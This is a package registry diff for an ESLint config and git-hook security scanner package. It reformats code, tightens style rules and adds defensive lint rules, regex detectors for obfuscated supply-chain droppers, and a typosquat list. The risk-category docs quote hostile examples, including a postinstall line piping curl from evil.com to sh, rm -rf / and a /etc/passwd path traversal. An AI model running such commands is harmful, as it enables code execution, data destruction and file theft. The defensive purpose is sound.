@archpublicwebsite/eslint-config 1.0.21 → 1.0.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -120,6 +120,16 @@ If you are extending or regenerating this package, keep the workflow explicit:
120
120
  - Re-run the package setup flow when changing VS Code or hook behavior.
121
121
  - Prefer explicit examples that show what the consumer project should add.
122
122
 
123
+ ## Refactor/New File Rules
124
+
125
+ When refactoring or creating component files, keep every package aligned to the shared eslint-config contract:
126
+
127
+ 1. Keep each package `eslint.config.mjs` on `createArchipelagoConfig(...)` from `@archpublicwebsite/eslint-config`.
128
+ 2. Do not add package-local parser stacks that diverge from the shared config unless there is an approved exception.
129
+ 3. Run `pnpm lint:check` and `pnpm typecheck` before commit.
130
+ 4. If a package needs custom lint behavior, add it as a small override block in that package config while preserving shared base rules.
131
+ 5. For new projects or clones, run the setup script so required files (`eslint.config.mjs`, `lint-staged.config.mjs`, hooks, VSCode settings) are auto-created when missing.
132
+
123
133
  ## Manual setup
124
134
 
125
135
  If you need to rerun the bootstrap manually:
package/eslint.config.mjs CHANGED
@@ -87,10 +87,8 @@ export function createArchipelagoConfig(...overrides) {
87
87
  },
88
88
  // document.write / document.writeln
89
89
  {
90
- selector:
91
- 'CallExpression[callee.object.name="document"][callee.property.name=/^write(ln)?$/]',
92
- message:
93
- '[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
90
+ selector: 'CallExpression[callee.object.name="document"][callee.property.name=/^write(ln)?$/]',
91
+ message: '[security/xss] document.write() is deprecated and a direct XSS sink — remove it',
94
92
  },
95
93
  // Object.__proto__ assignment (belt-and-suspenders with no-prototype-builtins)
96
94
  {
@@ -168,16 +166,19 @@ export function createArchipelagoConfig(...overrides) {
168
166
  rules: {
169
167
  'no-restricted-imports': [
170
168
  'error',
171
- { name: 'child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
172
- { name: 'node:child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
173
- { name: 'http', message: 'http is not allowed in build config files — exfiltration risk' },
174
- { name: 'node:http', message: 'http is not allowed in build config files — exfiltration risk' },
175
- { name: 'https', message: 'https is not allowed in build config files — exfiltration risk' },
176
- { name: 'node:https', message: 'https is not allowed in build config files — exfiltration risk' },
177
- { name: 'dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
178
- { name: 'node:dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
179
- { name: 'net', message: 'net is not allowed in build config files — reverse-shell risk' },
180
- { name: 'node:net', message: 'net is not allowed in build config files — reverse-shell risk' },
169
+ { name: 'child_process', message: 'child_process is not allowed in build config files — supply-chain risk' },
170
+ {
171
+ name: 'node:child_process',
172
+ message: 'child_process is not allowed in build config files — supply-chain risk',
173
+ },
174
+ { name: 'http', message: 'http is not allowed in build config files — exfiltration risk' },
175
+ { name: 'node:http', message: 'http is not allowed in build config files — exfiltration risk' },
176
+ { name: 'https', message: 'https is not allowed in build config files — exfiltration risk' },
177
+ { name: 'node:https', message: 'https is not allowed in build config files — exfiltration risk' },
178
+ { name: 'dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
179
+ { name: 'node:dns', message: 'dns is not allowed in build config files — DNS tunnelling risk' },
180
+ { name: 'net', message: 'net is not allowed in build config files — reverse-shell risk' },
181
+ { name: 'node:net', message: 'net is not allowed in build config files — reverse-shell risk' },
181
182
  ],
182
183
  },
183
184
  },
@@ -202,11 +203,12 @@ export function createArchipelagoConfig(...overrides) {
202
203
  'antfu/if-newline': 'off',
203
204
  'antfu/no-import-dist': 'off',
204
205
 
205
- // ── Compatibility mode for existing codebases ─────────────────────
206
- // Keep the security-sensitive rules as errors, but avoid blocking
207
- // commits on purely stylistic differences in current components/tools.
208
- 'style/semi': 'off',
209
- 'style/quotes': 'off',
206
+ // ── Canonical style enforcement ─────────────────────────────────────
207
+ // No semicolons matches every component in the codebase.
208
+ // Adding a `;` in any .ts / .vue file will surface as a lint error.
209
+ 'style/semi': ['error', 'never'],
210
+ // Single quotes — consistent with all current component files.
211
+ 'style/quotes': ['error', 'single', { avoidEscape: true, allowTemplateLiterals: 'never' }],
210
212
  'style/quote-props': 'off',
211
213
  'style/no-multi-spaces': 'off',
212
214
  'style/key-spacing': 'off',
@@ -239,10 +241,13 @@ export function createArchipelagoConfig(...overrides) {
239
241
  'vue/attribute-hyphenation': 'off',
240
242
  'vue/define-macros-order': 'off',
241
243
  'vue/no-v-html': 'off',
242
- 'vue/max-attributes-per-line': ['error', {
243
- singleline: 3,
244
- multiline: 1,
245
- }],
244
+ 'vue/max-attributes-per-line': [
245
+ 'error',
246
+ {
247
+ singleline: 3,
248
+ multiline: 1,
249
+ },
250
+ ],
246
251
  'vue/max-len': 'off',
247
252
 
248
253
  // ── TypeScript ───────────────────────────────────────────────────────
@@ -308,6 +313,6 @@ export function createArchipelagoConfig(...overrides) {
308
313
  },
309
314
  },
310
315
 
311
- ...overrides,
316
+ ...overrides
312
317
  )
313
318
  }
@@ -1,11 +1,6 @@
1
1
  const config = {
2
- '*.{js,mjs,cjs,ts,tsx,vue}': [
3
- 'eslint --fix',
4
- 'prettier --write',
5
- ],
6
- '*.{json,md,yml,yaml,css,scss,html}': [
7
- 'prettier --write',
8
- ],
2
+ '*.{js,mjs,cjs,ts,tsx,vue}': ['eslint --fix', 'prettier --write'],
3
+ '*.{json,md,yml,yaml,css,scss,html}': ['prettier --write'],
9
4
  }
10
5
 
11
6
  export default config
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@archpublicwebsite/eslint-config",
3
- "version": "1.0.21",
3
+ "version": "1.0.22",
4
4
  "author": "Archipelago Hotels",
5
5
  "description": "Reusable ESLint flat config and git-hook toolkit for Archipelago projects",
6
6
  "type": "module",
@@ -4,7 +4,7 @@ import { existsSync } from 'node:fs'
4
4
  import { hasCommand, run } from './shared.mjs'
5
5
 
6
6
  const __dirname = dirname(fileURLToPath(import.meta.url))
7
- const SCAN_SCRIPT = join(__dirname, '../security/scan.mjs')
7
+ const SCAN_SCRIPT = join(__dirname, '..', 'security', 'scan.mjs')
8
8
 
9
9
  function runIfExists(scriptPath, command) {
10
10
  if (!existsSync(scriptPath)) {
@@ -28,13 +28,17 @@ run(`node "${SCAN_SCRIPT}"`, { stdio: 'inherit' })
28
28
  runIfExists('./safe-reinstall.sh', 'bash ./safe-reinstall.sh --check-only')
29
29
  if (process.env.SKIP_GLOBAL_SCAN === '1') {
30
30
  console.log('\nSkipping global IOC scan (SKIP_GLOBAL_SCAN=1).')
31
- }
32
- else {
31
+ } else {
33
32
  runIfExists('./scan-global.sh', 'bash ./scan-global.sh')
34
33
  }
35
34
 
36
35
  // ── 3. Lint-staged — auto-fix & format staged files ───────────────────────────
37
36
  console.log('\nRunning lint-staged (auto-fix staged files)...')
38
- run('pnpm lint-staged', { stdio: 'inherit' })
37
+ if (existsSync('./lint-staged.config.mjs')) {
38
+ run('pnpm exec lint-staged --config lint-staged.config.mjs', { stdio: 'inherit' })
39
+ } else {
40
+ // Fallback to package.json "lint-staged" block when config file is missing.
41
+ run('pnpm exec lint-staged', { stdio: 'inherit' })
42
+ }
39
43
 
40
44
  console.log('\nCOMMIT CHECKS PASSED\n')
@@ -54,13 +54,21 @@ const ZERO_SHA = '0000000000000000000000000000000000000000'
54
54
  */
55
55
  function parsePushRefs() {
56
56
  let stdin = ''
57
- try { stdin = readFileSync('/dev/stdin', 'utf8') }
58
- catch { return [] }
57
+ try {
58
+ stdin = readFileSync('/dev/stdin', 'utf8')
59
+ } catch {
60
+ return []
61
+ }
59
62
 
60
- return stdin.trim().split('\n').filter(Boolean).map((line) => {
61
- const parts = line.trim().split(/\s+/)
62
- return { localSha: parts[1] ?? '', remoteSha: parts[3] ?? ZERO_SHA }
63
- }).filter(({ localSha }) => localSha && localSha !== ZERO_SHA)
63
+ return stdin
64
+ .trim()
65
+ .split('\n')
66
+ .filter(Boolean)
67
+ .map(line => {
68
+ const parts = line.trim().split(/\s+/)
69
+ return { localSha: parts[1] ?? '', remoteSha: parts[3] ?? ZERO_SHA }
70
+ })
71
+ .filter(({ localSha }) => localSha && localSha !== ZERO_SHA)
64
72
  }
65
73
 
66
74
  // ─── Collect files in push range ───────────────────────────────────────────────
@@ -98,10 +106,14 @@ function scanFiles(files, repoRoot) {
98
106
  let skipped = 0
99
107
 
100
108
  for (const filePath of files) {
101
- if (shouldSkip(filePath)) { skipped++; continue }
109
+ if (shouldSkip(filePath)) {
110
+ skipped++
111
+ continue
112
+ }
102
113
 
103
- const content = runSafe(`git show "HEAD:${filePath}"`)
104
- || (() => {
114
+ const content =
115
+ runSafe(`git show "HEAD:${filePath}"`) ||
116
+ (() => {
105
117
  const abs = join(repoRoot, filePath)
106
118
  return existsSync(abs) ? readFileSync(abs, 'utf8') : ''
107
119
  })()
@@ -111,7 +123,7 @@ function scanFiles(files, repoRoot) {
111
123
  const lines = content.split('\n')
112
124
  findings.push(
113
125
  ...collectPatternFindings(lines, isConfigFile(filePath), filePath),
114
- ...collectObfuscatedLineFindings(lines, filePath),
126
+ ...collectObfuscatedLineFindings(lines, filePath)
115
127
  )
116
128
  }
117
129
 
@@ -133,24 +145,29 @@ function scanDependencies(repoRoot) {
133
145
  if (!existsSync(pkgJsonPath)) return []
134
146
 
135
147
  let pkg
136
- try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
137
- catch { return [] }
148
+ try {
149
+ pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
150
+ } catch {
151
+ return []
152
+ }
138
153
 
139
154
  const depFields = ['dependencies', 'devDependencies', 'peerDependencies', 'optionalDependencies']
140
- return depFields.flatMap((field) => {
155
+ return depFields.flatMap(field => {
141
156
  const deps = pkg[field]
142
157
  if (!deps || typeof deps !== 'object') return []
143
- return Object.keys(deps).flatMap((name) => {
158
+ return Object.keys(deps).flatMap(name => {
144
159
  const similar = detectTyposquat(name)
145
160
  return similar
146
- ? [{
147
- pkg: name,
148
- patternId: 'typosquat',
149
- severity: 'high',
150
- message: `Possible typosquat of "${similar}" in ${field} — verify the package name`,
151
- lineContent: `"${name}" is 1 edit away from "${similar}"`,
152
- category: 'supply-chain',
153
- }]
161
+ ? [
162
+ {
163
+ pkg: name,
164
+ patternId: 'typosquat',
165
+ severity: 'high',
166
+ message: `Possible typosquat of "${similar}" in ${field} verify the package name`,
167
+ lineContent: `"${name}" is 1 edit away from "${similar}"`,
168
+ category: 'supply-chain',
169
+ },
170
+ ]
154
171
  : []
155
172
  })
156
173
  })
@@ -166,7 +183,7 @@ function runAudit() {
166
183
  return []
167
184
  }
168
185
 
169
- process.stdout.write(`\nRunning pnpm audit --audit-level=high...\n`)
186
+ process.stdout.write('\nRunning pnpm audit --audit-level=high...\n')
170
187
  const result = runSafe('pnpm audit --audit-level=high 2>&1')
171
188
  if (!result) return []
172
189
 
@@ -176,14 +193,16 @@ function runAudit() {
176
193
  if (hasVulns) {
177
194
  console.log(`\n${BOLD}pnpm audit output:${R}`)
178
195
  console.log(`${DIM}${result}${R}`)
179
- return [{
180
- pkg: 'pnpm-audit',
181
- patternId: 'known-cve',
182
- severity: 'high',
183
- message: `pnpm audit detected known CVEs — run 'pnpm audit --fix' or pin safe versions`,
184
- lineContent: lines.find(l => /vulnerabilit/i.test(l)) ?? result.slice(0, 120),
185
- category: 'supply-chain',
186
- }]
196
+ return [
197
+ {
198
+ pkg: 'pnpm-audit',
199
+ patternId: 'known-cve',
200
+ severity: 'high',
201
+ message: "pnpm audit detected known CVEs — run 'pnpm audit --fix' or pin safe versions",
202
+ lineContent: lines.find(l => /vulnerabilit/i.test(l)) ?? result.slice(0, 120),
203
+ category: 'supply-chain',
204
+ },
205
+ ]
187
206
  }
188
207
 
189
208
  process.stdout.write(`${GRN}pnpm audit: no known vulnerabilities found.${R}\n`)
@@ -195,8 +214,8 @@ function runAudit() {
195
214
  function main() {
196
215
  if (process.env.SKIP_SECURITY_SCAN === '1') {
197
216
  process.stderr.write(
198
- `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n`
199
- + `${YLW} This bypass is intentional and has been logged.${R}\n\n`,
217
+ `\n${YLW}${BOLD}⚠ SKIP_SECURITY_SCAN=1 — pre-push security checks bypassed.${R}\n` +
218
+ `${YLW} This bypass is intentional and has been logged.${R}\n\n`
200
219
  )
201
220
  return
202
221
  }
@@ -206,14 +225,15 @@ function main() {
206
225
 
207
226
  printScanHeader('@archipelago/pre-push', 'full-branch security gate')
208
227
 
209
- const files = refs.length > 0
210
- ? collectPushFiles(refs)
211
- : (runSafe('git diff-tree --no-commit-id --name-only -r HEAD') || '')
212
- .split('\n')
213
- .filter(f => SCAN_EXTENSIONS.has(extname(f)))
228
+ const files =
229
+ refs.length > 0
230
+ ? collectPushFiles(refs)
231
+ : (runSafe('git diff-tree --no-commit-id --name-only -r HEAD') || '')
232
+ .split('\n')
233
+ .filter(f => SCAN_EXTENSIONS.has(extname(f)))
214
234
 
215
- const fileFindings = scanFiles(files, repoRoot)
216
- const depsFindings = scanDependencies(repoRoot)
235
+ const fileFindings = scanFiles(files, repoRoot)
236
+ const depsFindings = scanDependencies(repoRoot)
217
237
  const auditFindings = runAudit()
218
238
 
219
239
  const allFindings = sortFindings([...fileFindings, ...depsFindings, ...auditFindings])
@@ -147,7 +147,8 @@ export const FILE_PATTERNS = [
147
147
  {
148
148
  id: 'shuffle-cipher-iife',
149
149
  severity: 'critical',
150
- message: 'Shuffle-cipher IIFE — RC4-variant string decoder used to hide payload strings (seen in event-stream attack)',
150
+ message:
151
+ 'Shuffle-cipher IIFE — RC4-variant string decoder used to hide payload strings (seen in event-stream attack)',
151
152
  // Matches: (function(l,e){ ... })("...", number) — the typical 2-arg encoded-string bootstrapper
152
153
  // [\s\S] instead of [^}] so the body can contain nested {}
153
154
  regex: /\(function\s*\(\w\s*,\s*\w\)[\s\S]{20,}?\}\)\s*\(\s*["'][^"']{4,}["']\s*,\s*\d{4,}\s*\)/,
@@ -178,7 +179,8 @@ export const FILE_PATTERNS = [
178
179
  {
179
180
  id: 'function-constructor-via-array',
180
181
  severity: 'critical',
181
- message: 'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
182
+ message:
183
+ 'Function constructor accessed via decoded array — used to run hidden payload without calling new Function() directly',
182
184
  // Matches: var x = sfL[EKc] where the array was built from a string decoder
183
185
  // Generalised: identifier assigned from identifier[short-identifier] then called as a function
184
186
  regex: /=\s*\w{2,5}\s*\[\s*\w{2,5}\s*\]\s*;[^;]{0,60}=\s*\w{2,5}\s*\(\s*\w+\s*,\s*\w{2,5}\s*\(\s*\w+\s*\)\s*\)/,
@@ -234,7 +236,8 @@ export const FILE_PATTERNS = [
234
236
  {
235
237
  id: 'vue-v-html',
236
238
  severity: 'medium',
237
- message: 'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
239
+ message:
240
+ 'v-html directive detected — ensure content is sanitised (e.g. DOMPurify) and never bind unsanitised user input',
238
241
  // Matches both :v-html and v-html= in .vue template strings captured in JS
239
242
  regex: /v-html\s*=/,
240
243
  category: 'xss',
@@ -306,8 +309,11 @@ export const FILE_PATTERNS = [
306
309
  },
307
310
  {
308
311
  id: 'path-traversal-dotdot',
309
- severity: 'critical',
310
- message: 'Literal path traversal sequence (../) in source — remove or validate user-supplied path segments',
312
+ // Downgraded to medium: internal tooling uses join(__dirname, '..', 'security', ...)
313
+ // which is safe fixed-path navigation, not user-supplied input. Only upgrade back
314
+ // to 'critical' if you start accepting external path segments at runtime.
315
+ severity: 'medium',
316
+ message: 'Literal path traversal sequence (../) in source — verify this is not user-supplied input',
311
317
  regex: /['"]\.\.[/\\]/,
312
318
  category: 'path-traversal',
313
319
  },
@@ -452,15 +458,7 @@ export const CONFIG_FILE_PATTERNS = [
452
458
  // ─── Extension allow-list ──────────────────────────────────────────────────────
453
459
 
454
460
  /** Source file extensions to include in the scan. */
455
- export const SCAN_EXTENSIONS = new Set([
456
- '.js',
457
- '.mjs',
458
- '.cjs',
459
- '.ts',
460
- '.mts',
461
- '.cts',
462
- '.vue',
463
- ])
461
+ export const SCAN_EXTENSIONS = new Set(['.js', '.mjs', '.cjs', '.ts', '.mts', '.cts', '.vue'])
464
462
 
465
463
  // ─── Typosquatting reference list ──────────────────────────────────────────────
466
464
 
@@ -470,29 +468,83 @@ export const SCAN_EXTENSIONS = new Set([
470
468
  */
471
469
  export const POPULAR_PACKAGES = [
472
470
  // Frameworks & meta-frameworks
473
- 'react', 'vue', 'svelte', 'angular', 'next', 'nuxt', 'remix', 'astro',
471
+ 'react',
472
+ 'vue',
473
+ 'svelte',
474
+ 'angular',
475
+ 'next',
476
+ 'nuxt',
477
+ 'remix',
478
+ 'astro',
474
479
  // Build tools
475
- 'vite', 'webpack', 'rollup', 'parcel', 'esbuild', 'turbopack',
480
+ 'vite',
481
+ 'webpack',
482
+ 'rollup',
483
+ 'parcel',
484
+ 'esbuild',
485
+ 'turbopack',
476
486
  // Styling
477
- 'tailwindcss', 'postcss', 'autoprefixer', 'sass', 'less',
487
+ 'tailwindcss',
488
+ 'postcss',
489
+ 'autoprefixer',
490
+ 'sass',
491
+ 'less',
478
492
  // Utility libraries
479
- 'lodash', 'axios', 'dayjs', 'moment', 'date-fns', 'zod', 'yup',
493
+ 'lodash',
494
+ 'axios',
495
+ 'dayjs',
496
+ 'moment',
497
+ 'date-fns',
498
+ 'zod',
499
+ 'yup',
480
500
  // State management
481
- 'pinia', 'vuex', 'redux', 'mobx', 'zustand', 'jotai',
501
+ 'pinia',
502
+ 'vuex',
503
+ 'redux',
504
+ 'mobx',
505
+ 'zustand',
506
+ 'jotai',
482
507
  // Routing
483
- 'react-router', 'vue-router',
508
+ 'react-router',
509
+ 'vue-router',
484
510
  // Testing
485
- 'vitest', 'jest', 'mocha', 'chai', 'playwright', 'cypress',
511
+ 'vitest',
512
+ 'jest',
513
+ 'mocha',
514
+ 'chai',
515
+ 'playwright',
516
+ 'cypress',
486
517
  // TypeScript
487
- 'typescript', 'ts-node', 'tsx',
518
+ 'typescript',
519
+ 'ts-node',
520
+ 'tsx',
488
521
  // Linting
489
- 'eslint', 'prettier', 'stylelint',
522
+ 'eslint',
523
+ 'prettier',
524
+ 'stylelint',
490
525
  // Security / auth
491
- 'bcrypt', 'jsonwebtoken', 'passport', 'helmet', 'cors',
526
+ 'bcrypt',
527
+ 'jsonwebtoken',
528
+ 'passport',
529
+ 'helmet',
530
+ 'cors',
492
531
  // Database
493
- 'prisma', 'sequelize', 'mongoose', 'typeorm', 'knex', 'drizzle-orm',
532
+ 'prisma',
533
+ 'sequelize',
534
+ 'mongoose',
535
+ 'typeorm',
536
+ 'knex',
537
+ 'drizzle-orm',
494
538
  // Node utilities
495
- 'express', 'fastify', 'koa', 'hapi', 'socket.io', 'ws', 'nodemailer',
539
+ 'express',
540
+ 'fastify',
541
+ 'koa',
542
+ 'hapi',
543
+ 'socket.io',
544
+ 'ws',
545
+ 'nodemailer',
496
546
  // Package tooling
497
- 'pnpm', 'yarn', 'npm',
547
+ 'pnpm',
548
+ 'yarn',
549
+ 'npm',
498
550
  ]
@@ -25,10 +25,10 @@
25
25
  */
26
26
  export const SEVERITY_SCORE = {
27
27
  critical: 4, // CVSS 9.0 – 10.0 → block commit AND push
28
- high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
- medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
- low: 1, // CVSS 0.1 – 3.9 → info only
31
- info: 0, // Informational → no action required
28
+ high: 3, // CVSS 7.0 – 8.9 → block commit AND push
29
+ medium: 2, // CVSS 4.0 – 6.9 → warn; never blocks by default
30
+ low: 1, // CVSS 0.1 – 3.9 → info only
31
+ info: 0, // Informational → no action required
32
32
  }
33
33
 
34
34
  /**
@@ -63,8 +63,8 @@ export const RISK_CATEGORIES = [
63
63
  owasp: 'A03:2021 – Injection',
64
64
  atlas: ['AML.T0051 – LLM Prompt Injection', 'AML.T0010 – ML Supply Chain Compromise'],
65
65
  description:
66
- 'Code that allows an attacker to execute arbitrary instructions on the host machine. '
67
- + 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
66
+ 'Code that allows an attacker to execute arbitrary instructions on the host machine. ' +
67
+ 'Vectors include eval(), new Function(), child_process.exec(), and dynamic require().',
68
68
  severity: 'critical',
69
69
  examples: ['eval(userInput)', 'new Function(str)()', "exec('rm -rf /')"],
70
70
  },
@@ -76,9 +76,9 @@ export const RISK_CATEGORIES = [
76
76
  owasp: 'A08:2021 – Software and Data Integrity Failures',
77
77
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
78
78
  description:
79
- 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads '
80
- + 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, '
81
- + 'ua-parser-js, polyfill.io).',
79
+ 'Base64, hex-encoding, or shuffle-cipher patterns used to conceal malicious payloads ' +
80
+ 'from static analysis. Characteristic of supply-chain dropper attacks (event-stream, ' +
81
+ 'ua-parser-js, polyfill.io).',
82
82
  severity: 'high',
83
83
  examples: ["Buffer.from('abc', 'base64')", 'String.fromCharCode(104,101,...)', '_$_1e42[0]'],
84
84
  },
@@ -90,11 +90,11 @@ export const RISK_CATEGORIES = [
90
90
  owasp: 'A03:2021 – Injection',
91
91
  atlas: [],
92
92
  description:
93
- 'Modification of Object.prototype or constructor.prototype allows an attacker to '
94
- + 'inject properties onto every object in the runtime, which can escalate to RCE '
95
- + 'in some server-side Node.js frameworks.',
93
+ 'Modification of Object.prototype or constructor.prototype allows an attacker to ' +
94
+ 'inject properties onto every object in the runtime, which can escalate to RCE ' +
95
+ 'in some server-side Node.js frameworks.',
96
96
  severity: 'high',
97
- examples: ["obj.__proto__ = {admin: true}", "Object.prototype['x'] = fn"],
97
+ examples: ['obj.__proto__ = {admin: true}', "Object.prototype['x'] = fn"],
98
98
  },
99
99
 
100
100
  // ── A4: XSS / DOM injection ────────────────────────────────────────────────
@@ -104,9 +104,9 @@ export const RISK_CATEGORIES = [
104
104
  owasp: 'A03:2021 – Injection',
105
105
  atlas: [],
106
106
  description:
107
- 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), '
108
- + 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the '
109
- + "victim's browser context.",
107
+ 'Unsanitised content written to the DOM via innerHTML, outerHTML, document.write(), ' +
108
+ 'insertAdjacentHTML(), or Vue v-html allows attackers to execute scripts in the ' +
109
+ "victim's browser context.",
110
110
  severity: 'high',
111
111
  examples: ['el.innerHTML = userInput', 'document.write(data)', '<div v-html="content">'],
112
112
  },
@@ -118,9 +118,9 @@ export const RISK_CATEGORIES = [
118
118
  owasp: 'A02:2021 – Cryptographic Failures',
119
119
  atlas: [],
120
120
  description:
121
- 'API keys, tokens, passwords, or private keys committed to source code. '
122
- + 'Exposed secrets are frequently scraped from public repositories by automated bots '
123
- + 'within minutes of exposure.',
121
+ 'API keys, tokens, passwords, or private keys committed to source code. ' +
122
+ 'Exposed secrets are frequently scraped from public repositories by automated bots ' +
123
+ 'within minutes of exposure.',
124
124
  severity: 'critical',
125
125
  examples: ['const API_KEY = "sk-..."', 'password: "hunter2"', 'PRIVATE_KEY = "-----BEGIN RSA"'],
126
126
  },
@@ -132,9 +132,9 @@ export const RISK_CATEGORIES = [
132
132
  owasp: 'A08:2021 – Software and Data Integrity Failures',
133
133
  atlas: ['AML.T0010 – ML Supply Chain Compromise', 'AML.T0020 – Poison Training Data'],
134
134
  description:
135
- 'Malicious code injected via npm package install scripts (preinstall/postinstall), '
136
- + 'typosquatted package names, or compromised transitive dependencies. '
137
- + 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
135
+ 'Malicious code injected via npm package install scripts (preinstall/postinstall), ' +
136
+ 'typosquatted package names, or compromised transitive dependencies. ' +
137
+ 'Covers curl/wget downloads, base64 exec, and credential theft at install time.',
138
138
  severity: 'critical',
139
139
  examples: ['postinstall: "curl http://evil.com | sh"', 'require("logify-utils") // typosquat'],
140
140
  },
@@ -146,9 +146,9 @@ export const RISK_CATEGORIES = [
146
146
  owasp: 'A01:2021 – Broken Access Control',
147
147
  atlas: [],
148
148
  description:
149
- 'User-controlled input used in file-system operations without sanitisation. '
150
- + 'Allows attackers to read, write, or delete files outside the intended directory '
151
- + "(e.g., reading /etc/passwd via '../../etc/passwd').",
149
+ 'User-controlled input used in file-system operations without sanitisation. ' +
150
+ 'Allows attackers to read, write, or delete files outside the intended directory ' +
151
+ "(e.g., reading /etc/passwd via '../../etc/passwd').",
152
152
  severity: 'high',
153
153
  examples: ['fs.readFile(req.params.file)', "path.join(base, '../../../etc/passwd')"],
154
154
  },
@@ -160,9 +160,9 @@ export const RISK_CATEGORIES = [
160
160
  owasp: 'A10:2021 – Server-Side Request Forgery',
161
161
  atlas: [],
162
162
  description:
163
- 'Outbound HTTP requests made with a URL derived from user input, allowing attackers '
164
- + 'to probe internal services, cloud metadata APIs (169.254.169.254), or other '
165
- + 'resources not directly accessible from the internet.',
163
+ 'Outbound HTTP requests made with a URL derived from user input, allowing attackers ' +
164
+ 'to probe internal services, cloud metadata APIs (169.254.169.254), or other ' +
165
+ 'resources not directly accessible from the internet.',
166
166
  severity: 'high',
167
167
  examples: ['fetch(req.body.url)', 'axios.get(userSuppliedUrl)'],
168
168
  },
@@ -174,9 +174,9 @@ export const RISK_CATEGORIES = [
174
174
  owasp: 'A06:2021 – Vulnerable and Outdated Components',
175
175
  atlas: [],
176
176
  description:
177
- 'Pathological regular expressions with nested quantifiers on overlapping character '
178
- + 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. '
179
- + 'User-controlled input matched against such patterns is a DoS vector.',
177
+ 'Pathological regular expressions with nested quantifiers on overlapping character ' +
178
+ 'classes cause catastrophic backtracking, making the Node.js event loop unresponsive. ' +
179
+ 'User-controlled input matched against such patterns is a DoS vector.',
180
180
  severity: 'medium',
181
181
  examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
182
182
  },
@@ -188,9 +188,9 @@ export const RISK_CATEGORIES = [
188
188
  owasp: 'A08:2021 – Software and Data Integrity Failures',
189
189
  atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
190
190
  description:
191
- 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
192
- + 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
193
- + 'privileges and full file-system access — making them a prime exfiltration vector.',
191
+ 'Network modules (http, https, dns, net) or child_process imported inside Tailwind, ' +
192
+ 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated ' +
193
+ 'privileges and full file-system access — making them a prime exfiltration vector.',
194
194
  severity: 'critical',
195
195
  examples: ["import https from 'node:https' // in tailwind.config.ts"],
196
196
  },
@@ -44,11 +44,7 @@ import {
44
44
  printSupplyFinding,
45
45
  shouldSkip,
46
46
  } from './scanner.mjs'
47
- import {
48
- getRepoRoot,
49
- getStagedNameStatus,
50
- runSafe,
51
- } from '../git-hooks/shared.mjs'
47
+ import { getRepoRoot, getStagedNameStatus, runSafe } from '../git-hooks/shared.mjs'
52
48
 
53
49
  // ─── Read staged file content ──────────────────────────────────────────────────
54
50
 
@@ -70,8 +66,8 @@ function readStagedContent(filePath) {
70
66
  */
71
67
  function scanStagedFiles() {
72
68
  const staged = getStagedNameStatus()
73
- const toScan = staged.filter(({ status, path }) =>
74
- ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path)),
69
+ const toScan = staged.filter(
70
+ ({ status, path }) => ['A', 'M'].includes(status[0]) && SCAN_EXTENSIONS.has(extname(path))
75
71
  )
76
72
  if (toScan.length === 0) return []
77
73
 
@@ -81,7 +77,10 @@ function scanStagedFiles() {
81
77
  let skipped = 0
82
78
 
83
79
  for (const { path: filePath } of toScan) {
84
- if (shouldSkip(filePath)) { skipped++; continue }
80
+ if (shouldSkip(filePath)) {
81
+ skipped++
82
+ continue
83
+ }
85
84
 
86
85
  const content = readStagedContent(filePath)
87
86
  if (!content) continue
@@ -91,7 +90,7 @@ function scanStagedFiles() {
91
90
 
92
91
  findings.push(
93
92
  ...collectPatternFindings(lines, isConfig, filePath),
94
- ...collectObfuscatedLineFindings(lines, filePath),
93
+ ...collectObfuscatedLineFindings(lines, filePath)
95
94
  )
96
95
  }
97
96
 
@@ -111,10 +110,9 @@ function scanStagedFiles() {
111
110
  */
112
111
  function getNewlyAddedPackages() {
113
112
  const staged = getStagedNameStatus()
114
- const pkgFiles = staged.filter(({ status, path }) =>
115
- ['A', 'M'].includes(status[0])
116
- && path.endsWith('package.json')
117
- && !path.includes('node_modules'),
113
+ const pkgFiles = staged.filter(
114
+ ({ status, path }) =>
115
+ ['A', 'M'].includes(status[0]) && path.endsWith('package.json') && !path.includes('node_modules')
118
116
  )
119
117
  if (pkgFiles.length === 0) return []
120
118
 
@@ -131,8 +129,9 @@ function getNewlyAddedPackages() {
131
129
  }
132
130
  }
133
131
  return all
132
+ } catch {
133
+ return new Set()
134
134
  }
135
- catch { return new Set() }
136
135
  }
137
136
 
138
137
  const added = new Set()
@@ -156,8 +155,11 @@ function checkInstallScripts(pkgName, repoRoot) {
156
155
  if (!existsSync(pkgJsonPath)) return []
157
156
 
158
157
  let pkg
159
- try { pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8')) }
160
- catch { return [] }
158
+ try {
159
+ pkg = JSON.parse(readFileSync(pkgJsonPath, 'utf8'))
160
+ } catch {
161
+ return []
162
+ }
161
163
 
162
164
  const findings = []
163
165
